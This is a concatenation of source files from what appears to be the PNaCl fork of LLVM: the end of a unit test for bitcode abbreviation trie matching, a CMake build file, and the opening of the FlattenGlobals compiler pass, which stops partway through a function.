" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 0, 15, 14].
Record.Values[3] = 14;
EXPECT_EQ(std::string("[13, 10, 0, 15, 14]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 16, 0, 3].
Record.Values[1] = 16;
Record.Values[2] = 0;
Record.Values[3] = 3;
EXPECT_EQ(std::string("[13, 10, 16, 0, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 16, 0, 17].
Record.Values[3] = 17;
EXPECT_EQ(std::string("[13, 10, 16, 0, 17]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 16, 18, 3].
Record.Values[2] = 18;
Record.Values[3] = 3;
EXPECT_EQ(std::string("[13, 10, 16, 18, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 16, 18, 19].
Record.Values[3] = 19;
EXPECT_EQ(std::string("[13, 10, 16, 18, 19]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 16, 18, 19, 20, 21, 22, 23, 24, 25]
Record.Values.push_back(20);
Record.Values.push_back(21);
Record.Values.push_back(22);
Record.Values.push_back(23);
Record.Values.push_back(24);
Record.Values.push_back(25);
EXPECT_EQ(std::string("[13, 10, 16, 18, 19, 20, 21, 22, 23, 24, 25]"),
DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_EQ(Node, (void*) 0);
}
Clear(Abbrevs);
Clear(LookupMap);
}
TEST(NaClAbbrevTrieTest, NonsimpleArray) {
// Test case where Array doesn't appear first.
AbbrevVector Abbrevs;
// [Fixed(3), VBR(8), Array(Fixed(8))]
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 3));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 8));
Abbrevs.push_back(Abbrev);
// [1, VBR(8), Array(Fixed(7))]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(1));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 7));
Abbrevs.push_back(Abbrev);
// [1, VBR(8), Array(Char6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(1));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Char6));
Abbrevs.push_back(Abbrev);
// [2, VBR(8), Array(Char6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(2));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Char6));
Abbrevs.push_back(Abbrev);
// [2, Array(VBR(8))]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(2));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrevs.push_back(Abbrev);
// [Fixed(3), VBR(8), 5, Array(Fixed(8))]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 3));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrev->Add(NaClBitCodeAbbrevOp(5));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 8));
Abbrevs.push_back(Abbrev);
// Verify we built the expected abbreviations.
EXPECT_EQ(std::string(
"[Fixed(3), VBR(8), Array(Fixed(8))]\n"
"[1, VBR(8), Array(Fixed(7))]\n"
"[1, VBR(8), Array(Char6)]\n"
"[2, VBR(8), Array(Char6)]\n"
"[2, Array(VBR(8))]\n"
"[Fixed(3), VBR(8), 5, Array(Fixed(8))]\n"),
DescribeAbbreviations(Abbrevs));
// Build lookup map, and check that we build the expected trie.
AbbrevLookupSizeMap LookupMap;
NaClBuildAbbrevLookupMap(LookupMap, Abbrevs);
// Note: Above abbreviations accept all record lengths but 0. Hence,
// there should be one for each possible (truncated) record length
// except zero.
EXPECT_EQ(MaxValueIndex, LookupMap.size())
<< "Should accept all (truncated) record lengths (except 0)";
for (AbbrevLookupSizeMap::iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
NaClBitcodeRecordData Record;
switch (Iter->first) {
case 0:
ASSERT_FALSE(true) << "There are not abbreviations of length 0";
break;
case 1:
EXPECT_EQ(std::string(
"Successor Map:\n"
" Record.Code = 2\n"
" Abbreviations:\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrie(Iter->second));
// Test matching [2]
Record.Code = 2;
EXPECT_EQ(std::string("[2]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [5];
Record.Code = 5;
EXPECT_EQ(std::string("[5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(""),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [2, 10]
Record.Code = 2;
Record.Values.push_back(10);
EXPECT_EQ(std::string("[2, 10]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
break;
case 2:
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
"Successor Map:\n"
" Record.Code = 1\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"
" Record.Code = 2\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrie(Iter->second));
// Test matching [1, 5]
Record.Code = 1;
Record.Values.push_back(5);
EXPECT_EQ(std::string("[1, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [2, 5]
Record.Code = 2;
EXPECT_EQ(std::string("[2, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [3, 5]
Record.Code = 3;
EXPECT_EQ(std::string("[3, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
break;
case 3:
default:
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
"Successor Map:\n"
" Record.Code = 1\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"
" Successor Map:\n"
" Record.Values[1] = 5\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"
" Record.Code = 2\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"
" Successor Map:\n"
" Record.Values[1] = 5\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"
" Record.Values[1] = 5\n"
" Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"),
DescribeAbbrevTrie(Iter->second));
// Test matching [1, 0, 5]
Record.Code = 1;
Record.Values.push_back(0);
Record.Values.push_back(5);
EXPECT_EQ(std::string("[1, 0, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [1, 0, 50]
Record.Values[1] = 50;
EXPECT_EQ(std::string("[1, 0, 50]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [2, 0, 5]
Record.Code = 2;
Record.Values[1] = 5;
EXPECT_EQ(std::string("[2, 0, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [2, 0, 50]
Record.Values[1] = 50;
EXPECT_EQ(std::string("[2, 0, 50]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [2, VBR(8), Array(Char6)] (abbrev #3)\n"
" [2, Array(VBR(8))] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [5, 0, 5]
Record.Code = 5;
Record.Values[1] = 5;
EXPECT_EQ(std::string("[5, 0, 5]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [5, 0, 50]
Record.Values[1] = 50;
EXPECT_EQ(std::string("[5, 0, 50]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [5, 0, 50, 10]
Record.Values.push_back(10);
EXPECT_EQ(std::string("[5, 0, 50, 10]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [5, 0, 50, 10, 20]
Record.Values.push_back(20);
EXPECT_EQ(std::string("[5, 0, 50, 10, 20]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [1, 0, 5, 10, 20]
Record.Code = 1;
Record.Values[1] = 5;
EXPECT_EQ(std::string("[1, 0, 5, 10, 20]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Fixed(3), VBR(8), Array(Fixed(8))] (abbrev #0)\n"
" [1, VBR(8), Array(Fixed(7))] (abbrev #1)\n"
" [1, VBR(8), Array(Char6)] (abbrev #2)\n"
" [Fixed(3), VBR(8), 5, Array(Fixed(8))] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
break;
}
}
Clear(Abbrevs);
Clear(LookupMap);
}
}
<file_sep>/tools/pnacl-bcanalyzer/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
NaClBitAnalysis
NaClBitReader
Support)
add_llvm_tool(pnacl-bcanalyzer
pnacl-bcanalyzer.cpp
)
<file_sep>/lib/Transforms/NaCl/FlattenGlobals.cpp
//===- FlattenGlobals.cpp - Flatten global variable initializers-----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass converts initializers for global variables into a
// flattened normal form which removes nested struct types and
// simplifies ConstantExprs.
//
// In this normal form, an initializer is either a SimpleElement or a
// CompoundElement.
//
// A SimpleElement is one of the following:
//
// 1) An i8 array literal or zeroinitializer:
//
// [SIZE x i8] c"DATA"
// [SIZE x i8] zeroinitializer
//
// 2) A reference to a GlobalValue (a function or global variable)
// with an optional 32-bit byte offset added to it (the addend):
//
// ptrtoint (TYPE* @GLOBAL to i32)
// add (i32 ptrtoint (TYPE* @GLOBAL to i32), i32 ADDEND)
//
// We use ptrtoint+add rather than bitcast+getelementptr because
// the constructor for getelementptr ConstantExprs performs
// constant folding which introduces more complex getelementptrs,
// and it is hard to check that they follow a normal form.
//
// For completeness, the pass also allows a BlockAddress as well as
// a GlobalValue here, although BlockAddresses are currently not
// allowed in the PNaCl ABI, so this should not be considered part
// of the normal form.
//
// A CompoundElement is a unnamed, packed struct containing only
// SimpleElements.
//
// Limitations:
//
// LLVM IR allows ConstantExprs that calculate the difference between
// two globals' addresses. FlattenGlobals rejects these because Clang
// does not generate these and because ELF does not support such
// relocations in general.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// Defines a (non-constant) handle that records a use of a
// constant. Used to make sure a relocation, within flattened global
// variable initializers, does not get destroyed when method
// removeDeadConstantUsers gets called. For simplicity, rather than
// defining a new (non-constant) construct, we use a return
// instruction as the handle.
typedef ReturnInst RelocUserType;
// Define map from a relocation, appearing in the flattened global variable
// initializers, to it's corresponding use handle.
typedef DenseMap<Constant*, RelocUserType*> RelocMapType;
// Define the list to hold the list of global variables being flattened.
struct FlattenedGlobal;
typedef std::vector<FlattenedGlobal*> FlattenedGlobalsVectorType;
// Returns the corresponding relocation, for the given user handle.
Constant *getRelocUseConstant(RelocUserType *RelocUser) {
return cast<Constant>(RelocUser->getReturnValue());
}
// The state associated with flattening globals of a module.
struct FlattenGlobalsState {
/// The module being flattened.
Module &M;
/// The data layout to be used.
DataLayout DL;
/// The relocations (within the original global variable initializers)
/// that must be kept.
RelocMapType RelocMap;
/// The list of global variables that are being flattened.
FlattenedGlobalsVectorType FlattenedGlobalsVector;
/// True if the module was modified during the "flatten globals" pass.
bool Modified;
/// The type model of a byte.
Type *ByteType;
/// The type model of the integer pointer type.
Type *IntPtrType;
/// The size of the pointer type.
unsigned PtrSize;
explicit FlattenGlobalsState(Module &M)
: M(M), DL(&M), RelocMap(),
Modified(false),
ByteType(Type::getInt8Ty(M.getContext())),
IntPtrType(DL.getIntPtrType(M.getContext())),
PtrSize(DL.getPointerSize())
{}
~FlattenGlobalsState() {
// Remove added user handles.
for (RelocMapType::iterator
I = RelocMap.begin(), E = RelocMap.end(); I != E; ++I) {
delete I->second;
}
// Remove flatteners for global varaibles.
DeleteContainerPointers(FlattenedGlobalsVector);
}
/// Collect Global variables whose initializers should be
/// flattened. Creates corresponding flattened initializers (if
/// applicable), and creates uninitialized replacement global
/// variables.
void flattenGlobalsWithInitializers();
/// Remove initializers from original global variables, and
/// then remove the portions of the initializers that are
/// no longer used.
void removeDeadInitializerConstants();
// Replace the original global variables with their flattened
// global variable counterparts.
void replaceGlobalsWithFlattenedGlobals();
// Builds and installs initializers for flattened global
// variables, based on the flattened initializers of the
// corresponding original global variables.
void installFlattenedGlobalInitializers();
// Returns the user handle associated with the reloc, so that it
// won't be deleted during the flattening process.
RelocUserType *getRelocUserHandle(Constant *Reloc) {
RelocUserType *RelocUser = RelocMap[Reloc];
if (RelocUser == NULL) {
RelocUser = ReturnInst::Create(M.getContext(), Reloc);
RelocMap[Reloc] = RelocUser;
}
return RelocUser;
}
};
// A FlattenedConstant represents a global variable initializer that
// has been flattened and may be converted into the normal form.
class FlattenedConstant {
FlattenGlobalsState &State;
// A flattened global variable initializer is represented as:
// 1) an array of bytes;
unsigned BufSize;
uint8_t *Buf;
uint8_t *BufEnd;
// 2) an array of relocations.
class Reloc {
private:
unsigned RelOffset; // Offset at which the relocation is to be applied.
RelocUserType *RelocUser;
public:
unsigned getRelOffset() const { return RelOffset; }
Constant *getRelocUse() const { return getRelocUseConstant(RelocUser); }
Reloc(FlattenGlobalsState &State, unsigned RelOffset, Constant *NewVal)
: RelOffset(RelOffset), RelocUser(State.getRelocUserHandle(NewVal)) {}
explicit Reloc(const Reloc &R)
: RelOffset(R.RelOffset), RelocUser(R.RelocUser) {}
void operator=(const Reloc &R) {
RelOffset = R.RelOffset;
RelocUser = R.RelocUser;
}
};
typedef SmallVector<Reloc, 10> RelocArray;
RelocArray Relocs;
const DataLayout &getDataLayout() const { return State.DL; }
Module &getModule() const { return State.M; }
Type *getIntPtrType() const { return State.IntPtrType; }
Type *getByteType() const { return State.ByteType; }
unsigned getPtrSize() const { return State.PtrSize; }
void putAtDest(Constant *Value, uint8_t *Dest);
Constant *dataSlice(unsigned StartPos, unsigned EndPos) const {
return ConstantDataArray::get(
getModule().getContext(),
ArrayRef<uint8_t>(Buf + StartPos, Buf + EndPos));
}
Type *dataSliceType(unsigned StartPos, unsigned EndPos) const {
return ArrayType::get(getByteType(), EndPos - StartPos);
}
public:
FlattenedConstant(FlattenGlobalsState &State, Constant *Value):
State(State),
BufSize(getDataLayout().getTypeAllocSize(Value->getType())),
Buf(new uint8_t[BufSize]),
BufEnd(Buf + BufSize) {
memset(Buf, 0, BufSize);
putAtDest(Value, Buf);
}
~FlattenedConstant() {
delete[] Buf;
}
// Returns the corresponding flattened initializer.
Constant *getAsNormalFormConstant() const;
// Returns the type of the corresponding flattened initializer;
Type *getAsNormalFormType() const;
};
// Structure used to flatten a global variable.
struct FlattenedGlobal {
// The state of the flatten globals pass.
FlattenGlobalsState &State;
// The global variable to flatten.
GlobalVariable *Global;
// The replacement global variable, if known.
GlobalVariable *NewGlobal;
// True if Global has an initializer.
bool HasInitializer;
// The flattened initializer, if the initializer would not just be
// filled with zeroes.
FlattenedConstant *FlatConst;
// The type of GlobalType, when used in an initializer.
Type *GlobalType;
// The size of the initializer.
uint64_t Size;
public:
FlattenedGlobal(FlattenGlobalsState &State, GlobalVariable *Global)
: State(State),
Global(Global),
NewGlobal(NULL),
HasInitializer(Global->hasInitializer()),
FlatConst(NULL),
GlobalType(Global->getType()->getPointerElementType()),
Size(GlobalType->isSized()
? getDataLayout().getTypeAllocSize(GlobalType) : 0) {
Type *NewType = NULL;
if (HasInitializer) {
if (Global->getInitializer()->isNullValue()) {
// Special case of NullValue. As an optimization, for large
// BSS variables, avoid allocating a buffer that would only be filled
// with zeros.
NewType = ArrayType::get(getByteType(), Size);
} else {
FlatConst = new FlattenedConstant(State, Global->getInitializer());
NewType = FlatConst->getAsNormalFormType();
}
} else {
NewType = ArrayType::get(getByteType(), Size);
}
NewGlobal = new GlobalVariable(getModule(), NewType,
Global->isConstant(),
Global->getLinkage(),
NULL, "", Global,
Global->getThreadLocalMode());
NewGlobal->copyAttributesFrom(Global);
if (NewGlobal->getAlignment() == 0 && GlobalType->isSized())
NewGlobal->setAlignment(getDataLayout().
getPrefTypeAlignment(GlobalType));
NewGlobal->setExternallyInitialized(Global->isExternallyInitialized());
NewGlobal->takeName(Global);
}
~FlattenedGlobal() {
delete FlatConst;
}
const DataLayout &getDataLayout() const { return State.DL; }
Module &getModule() const { return State.M; }
Type *getByteType() const { return State.ByteType; }
// Removes the original initializer from the global variable to be
// flattened, if applicable.
void removeOriginalInitializer() {
if (HasInitializer) Global->setInitializer(NULL);
}
// Replaces the original global variable with the corresponding
// flattened global variable.
void replaceGlobalWithFlattenedGlobal() {
Global->replaceAllUsesWith(
ConstantExpr::getBitCast(NewGlobal, Global->getType()));
Global->eraseFromParent();
}
// Installs flattened initializers to the corresponding flattened
// global variable.
void installFlattenedInitializer() {
if (HasInitializer) {
Constant *NewInit = NULL;
if (FlatConst == NULL) {
// Special case of NullValue.
NewInit = ConstantAggregateZero::get(ArrayType::get(getByteType(),
Size));
} else {
NewInit = FlatConst->getAsNormalFormConstant();
}
NewGlobal->setInitializer(NewInit);
}
}
};
class FlattenGlobals : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
FlattenGlobals() : ModulePass(ID) {
initializeFlattenGlobalsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
static void ExpandConstant(const DataLayout *DL, Constant *Val,
Constant **ResultGlobal, uint64_t *ResultOffset) {
if (isa<GlobalValue>(Val) || isa<BlockAddress>(Val)) {
*ResultGlobal = Val;
*ResultOffset = 0;
} else if (isa<ConstantPointerNull>(Val)) {
*ResultGlobal = NULL;
*ResultOffset = 0;
} else if (ConstantInt *CI = dyn_cast<ConstantInt>(Val)) {
*ResultGlobal = NULL;
*ResultOffset = CI->getSExtValue();
} else if (ConstantExpr *CE = dyn_cast<ConstantExpr>(Val)) {
ExpandConstant(DL, CE->getOperand(0), ResultGlobal, ResultOffset);
if (CE->getOpcode() == Instruction::GetElementPtr) {
SmallVector<Value *, 8> Indexes(CE->op_begin() + 1, CE->op_end());
*ResultOffset += DL->getIndexedOffset(CE->getOperand(0)->getType(),
Indexes);
} else if (CE->getOpcode() == Instruction::Add &&
isa<ConstantInt>(CE->getOperand(1))) {
*ResultOffset += cast<ConstantInt>(CE->getOperand(1))->getSExtValue();
} else if (CE->getOpcode() == Instruction::BitCast ||
CE->getOpcode() == Instruction::IntToPtr) {
// Nothing more to do.
} else if (CE->getOpcode() == Instruction::PtrToInt) {
if (Val->getType()->getIntegerBitWidth() < DL->getPointerSizeInBits()) {
errs() << "Not handled: " << *CE << "\n";
report_fatal_error("FlattenGlobals: a ptrtoint that truncates "
"a pointer is not allowed");
}
} else {
errs() << "Not handled: " << *CE << "\n";
report_fatal_error(
std::string("FlattenGlobals: ConstantExpr opcode not handled: ")
+ CE->getOpcodeName());
}
} else {
errs() << "Not handled: " << *Val << "\n";
report_fatal_error("FlattenGlobals: Constant type not handled for reloc");
}
}
void FlattenedConstant::putAtDest(Constant *Val, uint8_t *Dest) {
uint64_t ValSize = getDataLayout().getTypeAllocSize(Val->getType());
assert(Dest + ValSize <= BufEnd);
if (isa<ConstantAggregateZero>(Val) ||
isa<UndefValue>(Val) ||
isa<ConstantPointerNull>(Val)) {
// The buffer is already zero-initialized.
} else if (ConstantInt *CI = dyn_cast<ConstantInt>(Val)) {
memcpy(Dest, CI->getValue().getRawData(), ValSize);
} else if (ConstantFP *CF = dyn_cast<ConstantFP>(Val)) {
APInt Data = CF->getValueAPF().bitcastToAPInt();
assert((Data.getBitWidth() + 7) / 8 == ValSize);
assert(Data.getBitWidth() % 8 == 0);
memcpy(Dest, Data.getRawData(), ValSize);
} else if (ConstantDataSequential *CD =
dyn_cast<ConstantDataSequential>(Val)) {
// Note that getRawDataValues() assumes the host endianness is the same.
StringRef Data = CD->getRawDataValues();
assert(Data.size() == ValSize);
memcpy(Dest, Data.data(), Data.size());
} else if (isa<ConstantArray>(Val) || isa<ConstantDataVector>(Val) ||
isa<ConstantVector>(Val)) {
uint64_t ElementSize = getDataLayout().getTypeAllocSize(
Val->getType()->getSequentialElementType());
for (unsigned I = 0; I < Val->getNumOperands(); ++I) {
putAtDest(cast<Constant>(Val->getOperand(I)), Dest + ElementSize * I);
}
